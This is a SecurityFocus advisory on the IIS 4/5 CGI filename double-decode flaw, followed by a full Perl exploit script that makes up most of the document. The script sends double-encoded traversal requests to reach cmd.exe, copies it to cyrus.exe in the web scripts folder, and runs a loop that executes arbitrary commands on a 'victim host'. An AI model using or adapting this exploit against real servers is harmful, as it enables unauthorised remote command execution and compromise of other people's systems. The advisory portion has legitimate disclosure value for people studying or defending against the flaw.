source: http://www.securityfocus.com/bid/2708/info
  
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
  
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
  
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
  
2. When the security check is completed, IIS decodes CGI parameters.
  
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
  
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
  
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
  
The worm Nimda(and variants) actively exploit this vulnerability.

#!/usr/bin/perl
# Written by Cyrus The Gerat , [email protected] ,
May 15th 2001
# This perl script lets you to test the vulnerable
servers to IIS4/5 CGI decode hole,
# Also you can exploit the hole and execute your
commands remotely!
# Vulnerability found by NSfocus security team,
# Tested for compatibility on UNIX/WINDOWS
(activestate perl)
# Works well on windows and unix platforms,


$ARGC=@ARGV;
if ($ARGC <3) {
 print "\n\nRemote IIS4/5 decode hole tester! By
CyrusTheGreat ,CyrusArmy\@Bigfoot.com\n";
 print "\n Usage:\n\n $0 <victim host> <victim port>
<command line to execute>\n\n";
	print "        Victim Host: Address of IIS4/5 server
vulnerable to decode hole! \n";
      print "        Victim port: HTTP/HTTPS port 80
or 443\n";
	print "        Command to Execute: for example \"echo
Just hacked! > hacked.txt\"  \n\n";
	exit;
}
use Socket;

my
($host,$port,$target,$notvulnerable,$notfound,$notcopied,$accessdenied);
$host=$ARGV[0];
$port=$ARGV[1];
$target=inet_aton($host);
$notvulnerable=1;
$notfound=1;
$accessdenied=0;

print "\nRemote IIS4/5 decode hole tester! By
CyrusTheGreat ,CyrusArmy\@Bigfoot.com\n";
print "Connecting to server $host port $port...,
\n\n";
@results=sendraw("GET
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ver
HTTP/1.0\r\n\r\n");

for ($i=0; $i <=7 ;$i++ ) {
print $results[$i];
}


foreach $line (@results){
 if ($line =~ /\[Version/) {
 $notvulnerable=0;
 print "\nWow! system is vulnerable.\n";
 print $line;
 }
 }

if ($notvulnerable) {
 print "\nOops! System is not vulnerable. \n";
 exit(1);
} 

# you can exchange Wow! and Oops! as you prefer! ;-)

print "\nChecking for command interpreter...\n";
@results=sendraw("GET
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir%20cyrus%2eexe
HTTP/1.0\r\n\r\n");
#print @results;

foreach $line (@results){
 if ($line =~ /cyrus.exe/) {$notfound=0;}
}

if ($notfound) { 
 print "Command interpreter not found, Trying to copy
cmd.exe \n";
 @results=sendraw("GET
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+%2e%2e%5c%2e%2e%5cwinnt%5csystem32%5ccmd%2eexe+cyrus%2eexe
HTTP/1.0\r\n\r\n");
#print @results;
 }

 foreach $line (@results){
  if (($line =~ /denied/ )) {$accessdenied=1;}
 }

 if ($accessdenied) {
 print"Cannot copy command interpreter, Try manually!
\n\n";
 exit(2);
 } else {
   print "Command interpreter OK \n";
  }

$command=@ARGV[2];
print "Now executing your command: $command \n\n";
#$command=~s/ /\%20/g;
$command =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
#print $command;
my @results=sendraw("GET
/scripts/cyrus.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;

    print STDOUT "\n\nMore commands? , or EOF to
end:\n";
    while ($command = <STDIN>) {
            print "You said: $command \n";
	    chop $command;
		$command =~ s/(\W)/sprintf("%%%x", ord($1))/eg;
		my @results=sendraw("GET
/scripts/cyrus.exe?/c+$command HTTP/1.0\r\n\r\n");
		print @results;           
            print "\n\nTell me more, or EOF (^D/^Z) to
end:\n";
    }
    print "\nThat's all! Another IIS hole just
similified by cyrus!\n";

sub sendraw {   
        my ($pstr)=@_;
       
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0)
||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        } else {
		 print "Cannot connect to $host port $port\n";
		 exit(3); }
}